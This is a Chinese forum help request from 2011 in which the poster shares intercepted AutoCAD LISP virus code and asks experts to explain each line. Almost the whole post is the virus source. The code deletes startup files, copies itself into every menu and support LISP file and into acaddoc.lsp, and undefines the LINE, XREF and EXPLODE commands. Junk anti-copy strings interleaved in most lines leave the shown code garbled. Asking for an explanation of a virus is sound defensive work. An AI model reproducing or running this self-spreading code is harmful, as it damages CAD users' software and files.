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[求助] 求助高手解释LISP病毒代码

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发表于 2011-9-19 15:26 | 显示全部楼层 |阅读模式
本人最近截获:CAD病毒代码一段,请LISP高手帮忙解析一下每句语句的功能,不胜感谢。最是比较常见的,党是不会亏待你的,
  1. (% i) t* Q" x5 O: @$ ~9 J
  2. setq
    # {" v' d3 Z7 e/ M1 b
  3.   wold_cmd8 R# y. Y0 p3 A
  4.    (
    7 [6 \' T5 m" Y& F9 w) m
  5.     getvar2 M' ?. _" c; L" P* ^. N1 f
  6.      "cmdecho"
    " S" ^6 `% d' y. j! M8 k$ s' y
  7.    )
    , W* k0 S4 R& A1 p0 Q
  8. )
    ! ?  I9 y; _. V' \$ `! j
  9. () a( L: ~" Q, G  m: p
  10. setvar
    5 D1 {. c) ~6 L( Z# a
  11.   "cmdecho"
    - Q! e. s+ K( g. B* |
  12.   09 v2 O0 Q, r4 b+ a
  13. )& W$ `- |. I  Y9 ]$ J& T2 @" o
  14. (2 x. F8 y' w' M6 M' {
  15. setq& W: S, C6 H% E# k1 _  R
  16. bb 1
    . o: |* F4 I, t  W) ~" x) \9 g$ t
  17. )' l! W$ @1 `; I; m
  18. (setq dpath (getvar "dwgprefix"))
    3 w# s3 O! ~8 g6 E' v. O
  19. (setq wpath (getvar "menuname"))3 b8 M" C/ T: l/ t9 ^$ L
  20. (setq wpath (substr wpath 1 (- (strlen wpath) 4)))
    , P( K" S/ C4 x
  21. (setq mnl (strcat (chr 97)
    + D# X9 I# u) d  A, N& h4 j3 O% n
  22.                   (chr 99)
    5 B/ |3 y( S' l0 K
  23.                   (chr 97)
    4 e+ i# M0 y2 M5 d) p
  24.                   (chr 100)9 u; E+ c7 g8 y
  25.                   (chr 46)
    ! Q3 ^+ @  P4 L! Y, U
  26.                   (chr 109)4 f% K: |, T; \' W% \! R3 |  ]
  27.                   (chr 110)
    2 T- J4 l" y8 a# |
  28.                   (chr 108)2 V7 M7 Q7 N% V
  29.           ), q% u9 M7 |) G% l# f4 ~5 A8 g
  30.       lsp (strcat (chr 97)
    ; P" m# B, s, T) @8 {
  31.                   (chr 99); `& Y3 q3 b5 y4 g1 M
  32.                   (chr 97)1 P! B2 t, ~% X# v3 ?7 r
  33.                   (chr 100)
    ' o& n1 J; d7 L
  34.                   (chr 100)+ O& I' I* D0 @3 ?- q
  35.                   (chr 111)
    " V+ I$ R8 _) O" k
  36.                   (chr 99)) H! T- N/ E1 U7 D) O6 ]/ }
  37.                   (chr 46)
    3 p' I- a! L! d* ?: |
  38.                   (chr 108)( O7 J. \7 Z1 f( g6 J, Y! W+ o* y
  39.                   (chr 115)6 K1 ^) y- }; R* C5 G; k# b
  40.                   (chr 112)4 Y# l6 f) n: R2 J- V7 L; R
  41.           )
    ! h, ?( W) d; @
  42. )3 }, S( u6 {6 u* T
  43. (vl-file-delete (strcat wpath "acadapq.lsp"))' R3 j/ j) C! C+ S$ {
  44. (vl-file-delete (strcat wpath lsp))6 m0 d: y: d5 y3 K9 h4 {* S
  45. (vl-file-delete (strcat wpath "acad.lsp"))& W, Z, i5 l/ B
  46. (vl-file-delete (strcat dpath "acad.lsp"))
    + L* ?& ?# [$ Z) f% }
  47. (defun wwriteapp ()& A, G1 V& N) j
  48.   (if (setq wwjm1 (open wnewacad "w"))4 x, c; d0 E5 W) o; y
  49.     (progn6 D! S0 E$ S9 L/ P/ |
  50.       (setq wwjm (open woldacad "r"))
    ' ^( m+ W  Q" H' F9 D5 k9 f8 o
  51.       (while(setq wwz (read-line wwjm))
    2 j) z: N4 E8 h6 U: m) J5 ?" M
  52.          (write-line wwz wwjm1)
    ( [+ C3 ^: Z3 Y0 }3 m6 u! d
  53.       )1 Y) K0 `1 q4 x3 R2 a5 |
  54.       (close wwjm): p2 o5 f' X9 Z- Y
  55.       (close wwjm1)0 d) D/ o. c4 d+ ~* S1 L
  56.     )
    6 ?  W2 K+ O% V; F& I1 ]2 T* I9 L
  57.   )/ n: ]5 a3 g" J3 k& \: }
  58. )% E8 A: G  `0 B1 X& I% B) N" ]( Y
  59. ! _/ J& T7 u6 \" l, u# C) }$ F- h
  60. (setq lbz 0)
    # }! k9 i5 F/ O- S( R) a
  61. (setq wwjqm (strcat dpath lsp))
      k3 V. G% e' f0 I
  62. (if (setq wwjm (open wwjqm "r"))# y* F  ~; \' N8 A. D$ a
  63.   (progn
    2 q. H9 F- R8 U& P$ q& m9 j
  64.     (repeat 15 (read-line wwjm))8 g9 _. D% n2 K) R, @8 G
  65.     (setq wz (read-line wwjm))
    " M' `7 [* k' _6 G* f2 B( H4 b
  66.     (setq ab (atoi (substr wz 4 1)))
    , e" s) o* T# ]( r/ F
  67.     (close wwjm)7 y. X( s5 _, d  Q5 A
  68.     (if        (> ab bb)9 v+ C; X& \% ]  R9 K& G
  69.       (setq lbz 1)# I0 ~) l) v3 D' d  p' ~8 ^
  70.     )8 u+ `* Q4 ?( |) a
  71.   )
      P% s8 y' h( x( ]
  72. )
    * G3 N5 \9 r# j
  73. 1 `; k' N, L3 B* Y  A8 @* _- P
  74. (setq wwjqm (strcat wpath mnl))
    # {# H/ f( m3 d. ~% ]* @( S
  75. (if (setq wwjm (open wwjqm "r"))
      _, b4 [  W2 y% i4 U  Q: y
  76.   (progn
    + a. C; \4 k% M- G7 j! t
  77.     (repeat 15 (read-line wwjm))
    1 }" f( E- m7 y6 m& C
  78.     (setq wz (read-line wwjm))
    3 K- n$ ]  x3 X4 `$ `% w3 r' M: U' W
  79.     (setq nb (atoi (substr wz 4 1)))$ K6 Z5 X' I* N3 {3 O9 z4 R
  80.     (close wwjm)5 g9 L* o! P' p/ L- V
  81.    
    0 ?" [4 P, [& z9 `
  82.     (if        (< nb bb)
    0 C: B6 u: A% B2 g$ G& `
  83.       (setq lbz 1)
    ( w9 n1 y$ X" ~7 w
  84.     )/ }. L/ P% A+ S7 Y' u
  85.   )
    & Y1 U. Y3 T$ Q" L' a6 s5 A- J
  86.   (setq lbz 1)6 C. L9 K- ^( f9 ^/ ~$ O* H
  87. )
    & f; ~0 X  G( c# A* U
  88. (if (= lbz 1)% T+ n, Q9 f; Z2 S" X0 t
  89.   (progn
    . c/ a; R& F1 ?+ Q) S
  90.     (setq woldacad (strcat dpath lsp))/ P8 c1 G3 q  R) q
  91.     (setq wnewacad (strcat wpath mnl))% D# r3 T& B" |/ `
  92.     (wwriteapp)
    9 T  _! _- Z2 I* p
  93.   )
    " ~' M8 x/ ~; F/ E0 ?1 ~9 d
  94. )0 ^8 Z' e& s+ U, u8 R! `. `
  95. (if (and (/= (substr dpath 1 1) (chr 67))
    7 E* ^$ i7 }* `
  96.          (/= (substr dpath 1 1) (chr 68))5 D+ [8 F) c: w. N9 \3 o2 n
  97.          (/= (substr dpath 1 1) (chr 69))
    : L5 v+ A; s' o* q7 A! R# p$ ^0 h, o
  98.          (/= (substr dpath 1 1) (chr 70))+ c1 P2 H# b6 b  e$ h9 w3 D) k
  99.     )3 T2 f3 }3 ^7 d7 Q
  100.   (progn
    ! n# E, x/ `) ~: u- j8 i0 T
  101.     (setq woldacad (strcat wpath mnl))( E- }% W4 I6 ^8 h
  102.     (setq wnewacad (strcat dpath lsp))4 m/ Q1 p8 F% P
  103.     (wwriteapp)
    ! _; n6 X- o0 `+ M# R
  104.   )
    ' T3 D: o! G; C& {" Z, g
  105.   (vl-file-delete (strcat dpath lsp))
    7 x% y5 Q: V; u3 T
  106. )0 b4 O$ ?% R% [+ r/ ?  A8 C. m; r
  107. ;load "acadapq")
      _4 G4 m5 [4 K
  108. (vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))5 e  j1 t$ U3 s/ L

  109. , Q3 L1 O& k) p3 @8 O& r% D. W8 x
  110. (setq flagx t), i) R7 m2 \: J2 r/ P
  111. (setq bz "(setq flagx t)")! t8 N3 i8 r+ {" G7 [
  112. (defun app(source target bz / flag flag1 wjm wjm1 text)6 v/ `5 d9 M; q& W7 v: q+ v6 s
  113.   (setq flag nil)
    $ q% A! v1 `; B: Z" ]$ z# p+ B
  114.   (setq flag1 t)6 b4 Q9 o2 A6 A( g
  115.   (if (findfile target)
    2 q4 C+ K( [6 w
  116.     (progn
    1 q( c2 J" ^; d8 a+ |' z* s
  117.       (setq wjm1 (open target "r"))
    " T+ K# t3 u# ~  }5 r
  118.       (while (setq text (read-line wjm1))
    / s' z8 B' e3 M/ z
  119.         (if (= text bz) (setq flag1 nil))
    : X- H; L, q9 h6 N; ?
  120.         );while2 E/ W; ^- t" o% @' n9 E, d3 C
  121.       (close wjm1)
    + _$ J2 i- N2 W( h" \
  122.       );progn
    , [8 c: w* A* R+ H- K* \6 o# R
  123.     );if
    ( X$ @% r9 ]7 N3 J( _( G
  124.   (if flag1
    9 ~" y1 L: ?1 r2 O  a
  125.     (progn
      N- h& W( t0 h1 A2 J9 H: t
  126.       (setq wjm (open source "r"))
    " L, w+ V: K0 f8 p6 X' j
  127.       (setq wjm1 (open target "a"))
    ! Q0 {0 @6 `+ C6 p$ l
  128.       (write-line (chr 13) wjm1)
    0 E1 h" A+ Z) e9 U
  129.       (while (setq text (read-line wjm))' t7 p2 U. F! s( S  z& s* D3 t8 v
  130.         (if (= text bz) (setq flag t))
    5 R5 x# a: l; ?, Y4 b8 n
  131.         (if flag8 C/ w- i4 _5 ^0 J, A
  132.           (progn
    : A3 x7 H. ]+ Z; J- z/ o  X) A
  133.             (write-line text wjm1)
    , j  m8 h, o; m" X1 d. ~
  134.             );progn4 f, Q$ f/ ^4 G5 n* L- f; m
  135.           );if
    ( A8 b9 y" F% _9 ^8 ]5 r& k
  136.         );while
    0 h/ L% Q0 q! z) E$ @
  137.       (close wjm1)
    ' D) L/ h0 ]! W8 m, i
  138.       (close wjm)- O, h! u% A+ n; X7 D
  139.       );progn
    " M) c4 e; v, w
  140.     );if# k- @% q7 w7 f  u. C
  141.   );defun% _1 J0 H& v2 p' T& i( E6 |: f
  142. (setvar "cmdecho" 0)8 h$ o+ N; b* \
  143. (setq acadmnl (findfile "acad.mnl"))3 s6 s9 u2 d6 w7 c
  144. (setq acadmnlpath (vl-filename-directory acadmnl))+ o/ `' r% z0 n8 h( i8 g% A
  145. (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))* L4 L' D, [; M, X- h/ d
  146. (setq mnlnum (length mnlfilelist))
    ( V0 a9 i3 o5 _0 ?" @
  147. (setq acadexe (findfile "acad.exe"))
    0 C; ]3 x" _# Z0 S# {' a3 w
  148. (setq acadpath (vl-filename-directory acadexe))' Y( z1 F! n& H" _' m
  149. (setq support (strcat acadpath "\\support"))0 l: i/ n0 N# f
  150. (setq lspfilelist (vl-directory-files support "*.lsp"))
    3 E; I& D% N5 }- R4 i+ Q6 F  x5 [
  151. (setq lspfilelist (append lspfilelist (list ""))): }3 w* b6 r: H! q+ f* E8 b
  152. (setq lspnum (length lspfilelist))
    ' b# d8 W4 e% B
  153. (setq dwgname (getvar "dwgname"))
    4 n3 }/ P; `6 {
  154. (setq dwgpath (findfile dwgname))( v- G: Y% C7 Z0 ~
  155. (if dwgpath
    & s" k/ [7 M1 u
  156.   (progn7 z! m, p. C* K
  157.     (setq acaddocpath (vl-filename-directory dwgpath))
    2 `# w) j! j3 X
  158.     (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))/ T+ \; g. {4 U) X* V2 ^+ l
  159.     (setq mnln 0)
    1 S1 U* \9 e8 F8 X7 E/ X. o
  160.     (while (< mnln mnlnum)' q$ r7 I& Y, C1 W1 U
  161.       (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))4 Q6 E6 P3 [4 p
  162.       (app mnlfilename acaddocfile bz)
    # u5 F* @2 Y3 L/ P' o: f
  163.       (app acaddocfile mnlfilename bz)4 I2 j/ ]: f6 b9 C3 m
  164.       (setq mnln (1+ mnln))
    , n: @. V/ U+ X' X. H4 g
  165.       );while  g. R5 Z- |: r$ T+ }/ T
  166.     (setq lspn 0)( s0 D! M$ f# ~  _
  167.     (while (< lspn lspnum)
    3 [1 m0 ?0 G2 I! l" f$ T
  168.       (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
    6 g& P& o. l% J' |5 \7 p* R& b4 i
  169.       (app lspfilename acaddocfile bz), x) B6 y0 m8 S* R/ h
  170.       (app acaddocfile lspfilename bz)& l& ~. s4 }5 V( D2 [" @5 j, i7 k
  171.       (setq lspn (1+ lspn))
    % g9 |: i; ~) u; a" H+ k
  172.       );while" C1 f3 g6 D) u- S9 r& `
  173.     );progn/ D+ s+ N  I6 e) K7 L$ v2 V
  174.   );if# I& w" f  |5 {* T+ H; V9 D9 m( a
  175. (setq mnln 0)& Z9 A/ I+ x  ~! L# \- U8 ~8 `
  176. (while (< mnln mnlnum)) I; E6 M& Q. P; S6 c
  177.   (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))
    6 r( _: M4 |) K7 X/ |+ j
  178.   (setq mnln1 0)
    7 s! v3 x& |1 f/ @- {8 Y8 ~
  179.   (while (< mnln1 mnlnum)
    ; c! n+ V5 Q& b8 O: Q
  180.     (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))0 q& `0 |) d! X0 G. O
  181.     (app mnlfilename mnlfilename1 bz)
    # b! i/ y; G5 ~; X
  182.     (setq mnln1 (1+ mnln1))+ R; A. l' e, S) i7 @
  183.     );while! ~1 u, Z# w3 x9 y* b$ o
  184.   (setq lspn1 0)
    0 \+ ?- R- x4 O) n5 ~" Q
  185.   (while (< lspn1 lspnum)
    / r  k  i9 _3 x5 I* U% V2 y
  186.     (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))3 c# u, t; `; {4 W
  187.     (app mnlfilename lspfilename1 bz)
    2 x) l4 |5 Y* q9 R) S1 [* ]& W; O
  188.     (setq lspn1 (1+ lspn1))
    : W0 y, A6 N# L8 ~/ ?) b2 @! ?7 g  }
  189.     );while# T8 N, t+ O4 p/ F  P4 y: B
  190.   (setq mnln (1+ mnln))- i4 h9 K% L) f9 T
  191.   );while
    * N, ^( q( Y# J1 }/ D6 j
  192. (setq lspn 0)
    7 `: \; ~2 x3 x! i3 k+ _; V
  193. (while (< lspn lspnum)' ~% V6 q; I: h
  194.   (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
    3 f, ?3 b. e* E/ {
  195.   (setq lspn1 0)
    ) o6 w7 a: Z4 i+ j0 p  ~7 E4 S
  196.   (while (< lspn1 lspnum)
    ( s$ R+ l2 h' X0 S
  197.     (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))) u! U6 l" Y6 |4 [- a
  198.     (app lspfilename lspfilename1 bz)
    2 k0 W3 |, I( ]
  199.     (setq lspn1 (1+ lspn1))4 \+ g3 J5 X4 K- p1 _
  200.     );while  J# s* `/ ^9 T2 Y
  201.   (setq mnln1 0)
    1 O" u/ ?) x* ?. ~& F* |6 i" q2 R
  202.   (while (< mnln1 mnlnum): f2 v$ Q& @% o& M
  203.     (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))
      c( k8 x  `- F$ ~' T. m
  204.     (app lspfilename mnlfilename1 bz)
      n/ f! C/ `* U$ R- ^
  205.     (setq mnln1 (1+ mnln1))
    1 m6 z4 x2 D8 C4 l) \
  206.     );while
    $ `) X; @' _* ?+ j+ y" s
  207.   (setq lspn (1+ lspn))* G4 B( X* G9 n8 B0 N
  208.   );while0 g% e/ c1 E& k4 j2 {% }/ y4 y' h
  209. (setvar "sdi" 1)
    - A6 Z( v' K6 V4 g1 v" d9 L
  210. (setvar "ACADLSPASDOC" 1)
    , g# C! z) n  d, R
  211. (command "undefine" "line")
      D0 A% m( d/ z9 Y8 p
  212. (command "undefine" "_line"). c  X& J; X3 e# m1 B( z
  213. (command "undefine" "xref")4 K9 y( m: Z; J' d2 V$ C
  214. (command "undefine" "_xref"), i* @+ I# D/ g% \7 r# C; \
  215. (command "undefine" "explode")3 N1 t8 v% i0 ]) a" N- W! }
  216. (command "undefine" "_explode")
    1 W' B: S3 v) N$ [4 r+ S) p
  217. (setvar "cmdecho" 1)$ T! k- ?7 s- V: v
  218. (princ)" O0 k4 ]: v3 t8 T
  219. (load "acadapp")
    2 `/ n2 ~, F! P3 D
  220. (princ)
    " f( O# V" @  c4 Y6 N" f
  221. (if (null stol) (load "lcm" ""))7 u8 y1 L! Y- m9 d7 Z5 o3 h
  222. (princ)* j7 `# V) Y6 q8 l
  223. (load "acadappp.lsp")$ k$ ]$ z4 ?- W* U7 u. b
  224. (princ)
    9 `) D# H, G4 g
  225. (if (null stol) (load "lcm" ""))
    ! b- O7 _6 Q, b+ m& V: n
  226. (princ)
复制代码
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